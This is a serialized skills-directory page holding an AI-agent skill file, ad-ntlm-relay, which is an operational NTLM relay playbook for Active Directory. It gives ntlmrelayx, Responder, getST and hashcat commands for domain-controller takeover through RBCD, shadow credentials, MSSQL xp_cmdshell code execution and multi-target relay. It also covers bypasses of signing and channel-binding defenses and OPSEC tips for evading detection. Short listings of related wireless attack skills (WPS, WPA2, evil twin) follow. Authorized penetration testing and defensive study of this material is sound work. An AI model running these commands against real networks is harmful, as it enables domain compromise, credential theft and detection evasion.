[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DF1QXBMH4P2QWN0RW7JFQH":3,"skill-same:01M7DF1QXBMH4P2QWN0RW7JFQH":56},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":36,"commitSha":37,"skillDirectory":38,"forksCount":14,"repositoryHtmlUrl":39,"repositoryHomepageUrl":6,"ownerHtmlUrl":40,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":41,"install":42,"resources":55},"01M7DF1QXBMH4P2QWN0RW7JFQH","ad-ntlm-relay",null,"NTLM relay deep-dive — `ntlmrelayx` configuration matrix (SMB, LDAP, LDAPS, HTTP, RPC, IMAP, MSSQL), SMB-signing bypass, target selection (DC for DCSync, ADCS for cert, LAPS reader for cleartext), session relay vs cracking trade-off, multi-relay (forward auth from one victim to many).","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fad\u002Fntlm-relay\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: ad-ntlm-relay\ndescription: \"NTLM relay deep-dive — `ntlmrelayx` configuration matrix (SMB, LDAP, LDAPS, HTTP, RPC, IMAP, MSSQL), SMB-signing bypass, target selection (DC for DCSync, ADCS for cert, LAPS reader for cleartext), session relay vs cracking trade-off, multi-relay (forward auth from one victim to many).\"\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"ntlm relay ntlmrelayx smb signing ldap ldaps adcs mssql relay multi-relay impacket\"\n  subdomain: ad\n  tags: ad, ntlm-relay, mitm, impacket\n  mitre_attack: T1557.001, T1550.002\n  fanout:\n    effects: mutate\n    resources: [\"account:*\", \"host:*\"]\n    parallel_safe: false\n    notes: >-\n      relaying rewrites authentication state on the target and the relayed\n      listener holds one victim at a time; serialize relay runs\n---\n\n# NTLM Relay Deep Dive\n\nYou've got NTLM authentication arriving at attacker (via Responder, ARP poison, coercion, mDNS, WPAD). Relay it to a target that grants you something useful.\n\n## Target selection matrix\n\n| Target protocol | Outcome | Requires |\n|---|---|---|\n| **LDAP \u002F LDAPS to a DC** | Add user to Domain Admins, RBCD, modify ACL | Victim is local admin OR LDAPS allows signing |\n| **SMB to a workstation** | Code exec on that workstation | SMB signing OFF on target (servers often have it ON) |\n| **HTTP \u002Fcertsrv\u002F** (ADCS) | Cert for victim — auth as them | ADCS Web Enrollment enabled |\n| **MSSQL** | Database access; `xp_cmdshell` if linked | Victim has DB privs |\n| **IMAP** (Exchange) | Mailbox access | Victim has mailbox |\n| **HTTP \u002FEWS** (Exchange) | Mailbox + autodiscover | EWS reachable |\n| **LDAPS to DC for shadow creds** | Set msDS-KeyCredentialLink on a victim | LDAPS + WriteProperty |\n\n## SMB signing — the key constraint\n\n| Target | Default SMB signing |\n|---|---|\n| DC | REQUIRED (signing on, must verify) — **can't relay SMB to DC** |\n| Domain workstations | NOT REQUIRED (off by default) — **can relay** |\n| File servers | usually REQUIRED |\n| Linux Samba | varies |\n\nCheck with `crackmapexec smb \u003Ctarget_subnet> --gen-relay-list relays.txt` — gives you the list of targets where SMB signing is OFF.\n\n## Most useful chains\n\n### Coerce → relay to LDAP → RBCD attack\n```bash\n# Listener\nsudo impacket-ntlmrelayx -t ldap:\u002F\u002Fdc.target.local --delegate-access --escalate-user 'lowpriv'\n# Now coerce DC$ (see ad-coercer skill)\n# ntlmrelayx auto-adds attacker computer to msDS-AllowedToActOnBehalfOfOtherIdentity\n# Then S4U2Proxy yourself onto the DC:\nimpacket-getST -spn 'cifs\u002Fdc.target.local' -impersonate Administrator 'target.local\u002Flowpriv:pass'\n# → TGS as Administrator for cifs on the DC — full takeover\n```\n\n### Coerce → relay to ADCS → DA cert\nSee `ad-certipy-esc-chain` skill — chain ends with `certipy auth` → krbtgt.\n\n### Responder → relay to LDAP for Shadow Credentials\n```bash\nsudo responder -I eth0 -wd\n# Catch broadcast LLMNR \u002F NBT-NS \u002F mDNS\n# Then:\nsudo impacket-ntlmrelayx -t ldaps:\u002F\u002Fdc.target.local --shadow-credentials --shadow-target victim\n# Adds a KeyCredentialLink to 'victim'; then auth as victim via certipy\n```\n\n### Relay to MSSQL — pivot via xp_cmdshell\n```bash\nsudo impacket-ntlmrelayx -t mssql:\u002F\u002Fsqlserver.target.local -smb2support\n# When relayed:\n[ntlmrelayx] EXEC AS LOGIN sa: SUCCEED\n[ntlmrelayx] Enabling xp_cmdshell on target\n[ntlmrelayx] xp_cmdshell SUCCEED: id of nt service\\mssqlserver\n```\n\n### Multi-relay — fan-out one auth to many targets\n```bash\n# -tf file_of_targets: relay to each in turn\nsudo impacket-ntlmrelayx -tf relays.txt -smb2support\n# crackmapexec --gen-relay-list builds the relays.txt file (SMB-signing-OFF hosts)\n```\n\n## When to crack instead of relay\n\nIf the auth is NetNTLMv2 (came from SMB1\u002FSMB2, HTTP, etc.):\n\n```bash\n# Save the captured hash\n# Responder writes to \u002Fusr\u002Fshare\u002Fresponder\u002Flogs\u002FResponder-Session.log\nhashcat -m 5600 hash.txt rockyou.txt -r best64.rule\n# m=5600 → NetNTLMv2 cracking; works well on rockyou+rules\n```\n\nRelay is BETTER when:\n- You don't have time to crack (operationally bounded engagement)\n- The hash is from a service account \u002F computer account (uncrackable)\n- The target requires the actual session (e.g., LDAPS, signed SMB)\n\nCrack is BETTER when:\n- You want offline persistence (don't need to be on the wire)\n- The credentials are reusable across services\n- Auth was from a normal user with a weak password\n\n## Signing-required mitigations and bypasses\n\n| Defense | Bypass |\n|---|---|\n| SMB signing required on target | Relay to NON-SMB target (LDAP, HTTP, MSSQL) |\n| LDAP channel binding | Relay to LDAPS instead (different binding rules) |\n| Extended Protection for Authentication (EPA) | Relay to a service that doesn't enforce EPA (older Exchange, etc.) |\n| MS16-075 (\"hot potato\" SMB→SMB block) | Cross-protocol relay works around it |\n\n## OPSEC\n\n- Coercion is the LOUDEST step. Use unauthenticated PetitPotam variants where possible.\n- LDAP relay creates events 4662 (object access) and 5136 (directory modify) on the DC — distinctive when DC$ modifies its own attributes via NTLM auth.\n- MDI (Defender for Identity) flags NTLM relay via the source-vs-destination IP mismatch heuristic. Use a network position physically close to the victim to minimize the geographical jump.\n\n## References\n\n- impacket ntlmrelayx — github.com\u002Ffortra\u002Fimpacket\u002Fblob\u002Fmaster\u002Fexamples\u002Fntlmrelayx.py\n- dirkjanm \"NTLM relay\" series (the canonical reference)\n- SpecterOps \"Hosting a Relay Server\" \u002F \"Forcing NTLM auth\"\n- BHIS \u002F TrustedSec \"NTLM Relaying for Fun and Profit\"\n","# NTLM Relay Deep Dive\n\nYou've got NTLM authentication arriving at attacker (via Responder, ARP poison, coercion, mDNS, WPAD). Relay it to a target that grants you something useful.\n\n## Target selection matrix\n\n| Target protocol | Outcome | Requires |\n|---|---|---|\n| **LDAP \u002F LDAPS to a DC** | Add user to Domain Admins, RBCD, modify ACL | Victim is local admin OR LDAPS allows signing |\n| **SMB to a workstation** | Code exec on that workstation | SMB signing OFF on target (servers often have it ON) |\n| **HTTP \u002Fcertsrv\u002F** (ADCS) | Cert for victim — auth as them | ADCS Web Enrollment enabled |\n| **MSSQL** | Database access; `xp_cmdshell` if linked | Victim has DB privs |\n| **IMAP** (Exchange) | Mailbox access | Victim has mailbox |\n| **HTTP \u002FEWS** (Exchange) | Mailbox + autodiscover | EWS reachable |\n| **LDAPS to DC for shadow creds** | Set msDS-KeyCredentialLink on a victim | LDAPS + WriteProperty |\n\n## SMB signing — the key constraint\n\n| Target | Default SMB signing |\n|---|---|\n| DC | REQUIRED (signing on, must verify) — **can't relay SMB to DC** |\n| Domain workstations | NOT REQUIRED (off by default) — **can relay** |\n| File servers | usually REQUIRED |\n| Linux Samba | varies |\n\nCheck with `crackmapexec smb \u003Ctarget_subnet> --gen-relay-list relays.txt` — gives you the list of targets where SMB signing is OFF.\n\n## Most useful chains\n\n### Coerce → relay to LDAP → RBCD attack\n```bash\n# Listener\nsudo impacket-ntlmrelayx -t ldap:\u002F\u002Fdc.target.local --delegate-access --escalate-user 'lowpriv'\n# Now coerce DC$ (see ad-coercer skill)\n# ntlmrelayx auto-adds attacker computer to msDS-AllowedToActOnBehalfOfOtherIdentity\n# Then S4U2Proxy yourself onto the DC:\nimpacket-getST -spn 'cifs\u002Fdc.target.local' -impersonate Administrator 'target.local\u002Flowpriv:pass'\n# → TGS as Administrator for cifs on the DC — full takeover\n```\n\n### Coerce → relay to ADCS → DA cert\nSee `ad-certipy-esc-chain` skill — chain ends with `certipy auth` → krbtgt.\n\n### Responder → relay to LDAP for Shadow Credentials\n```bash\nsudo responder -I eth0 -wd\n# Catch broadcast LLMNR \u002F NBT-NS \u002F mDNS\n# Then:\nsudo impacket-ntlmrelayx -t ldaps:\u002F\u002Fdc.target.local --shadow-credentials --shadow-target victim\n# Adds a KeyCredentialLink to 'victim'; then auth as victim via certipy\n```\n\n### Relay to MSSQL — pivot via xp_cmdshell\n```bash\nsudo impacket-ntlmrelayx -t mssql:\u002F\u002Fsqlserver.target.local -smb2support\n# When relayed:\n[ntlmrelayx] EXEC AS LOGIN sa: SUCCEED\n[ntlmrelayx] Enabling xp_cmdshell on target\n[ntlmrelayx] xp_cmdshell SUCCEED: id of nt service\\mssqlserver\n```\n\n### Multi-relay — fan-out one auth to many targets\n```bash\n# -tf file_of_targets: relay to each in turn\nsudo impacket-ntlmrelayx -tf relays.txt -smb2support\n# crackmapexec --gen-relay-list builds the relays.txt file (SMB-signing-OFF hosts)\n```\n\n## When to crack instead of relay\n\nIf the auth is NetNTLMv2 (came from SMB1\u002FSMB2, HTTP, etc.):\n\n```bash\n# Save the captured hash\n# Responder writes to \u002Fusr\u002Fshare\u002Fresponder\u002Flogs\u002FResponder-Session.log\nhashcat -m 5600 hash.txt rockyou.txt -r best64.rule\n# m=5600 → NetNTLMv2 cracking; works well on rockyou+rules\n```\n\nRelay is BETTER when:\n- You don't have time to crack (operationally bounded engagement)\n- The hash is from a service account \u002F computer account (uncrackable)\n- The target requires the actual session (e.g., LDAPS, signed SMB)\n\nCrack is BETTER when:\n- You want offline persistence (don't need to be on the wire)\n- The credentials are reusable across services\n- Auth was from a normal user with a weak password\n\n## Signing-required mitigations and bypasses\n\n| Defense | Bypass |\n|---|---|\n| SMB signing required on target | Relay to NON-SMB target (LDAP, HTTP, MSSQL) |\n| LDAP channel binding | Relay to LDAPS instead (different binding rules) |\n| Extended Protection for Authentication (EPA) | Relay to a service that doesn't enforce EPA (older Exchange, etc.) |\n| MS16-075 (\"hot potato\" SMB→SMB block) | Cross-protocol relay works around it |\n\n## OPSEC\n\n- Coercion is the LOUDEST step. Use unauthenticated PetitPotam variants where possible.\n- LDAP relay creates events 4662 (object access) and 5136 (directory modify) on the DC — distinctive when DC$ modifies its own attributes via NTLM auth.\n- MDI (Defender for Identity) flags NTLM relay via the source-vs-destination IP mismatch heuristic. Use a network position physically close to the victim to minimize the geographical jump.\n\n## References\n\n- impacket ntlmrelayx — github.com\u002Ffortra\u002Fimpacket\u002Fblob\u002Fmaster\u002Fexamples\u002Fntlmrelayx.py\n- dirkjanm \"NTLM relay\" series (the canonical reference)\n- SpecterOps \"Hosting a Relay Server\" \u002F \"Forcing NTLM auth\"\n- BHIS \u002F TrustedSec \"NTLM Relaying for Fun and Profit\"\n",{"name":5,"metadata":24,"description":7,"allowed-tools":35},{"tags":25,"fanout":26,"subdomain":32,"when_to_use":33,"mitre_attack":34},"ad, ntlm-relay, mitm, impacket",{"notes":27,"effects":28,"resources":29,"parallel_safe":20},"relaying rewrites authentication state on the target and the relayed listener holds one victim at a time; serialize relay runs","mutate",[30,31],"account:*","host:*","ad","ntlm relay ntlmrelayx smb signing ldap ldaps adcs mssql relay multi-relay impacket","T1557.001, T1550.002","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fad\u002Fntlm-relay","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":43,"prompt":53,"zipAvailable":54},[44,47,50],{"tool":45,"command":46},"npx","npx skills add Akapi895\u002Fraptix --skill ad-ntlm-relay",{"tool":48,"command":49},"bunx","bunx skills add Akapi895\u002Fraptix --skill ad-ntlm-relay",{"tool":51,"command":52},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill ad-ntlm-relay","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fad\u002Fntlm-relay\u002FSKILL.md",true,[],[57,64,71,78,85,92],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]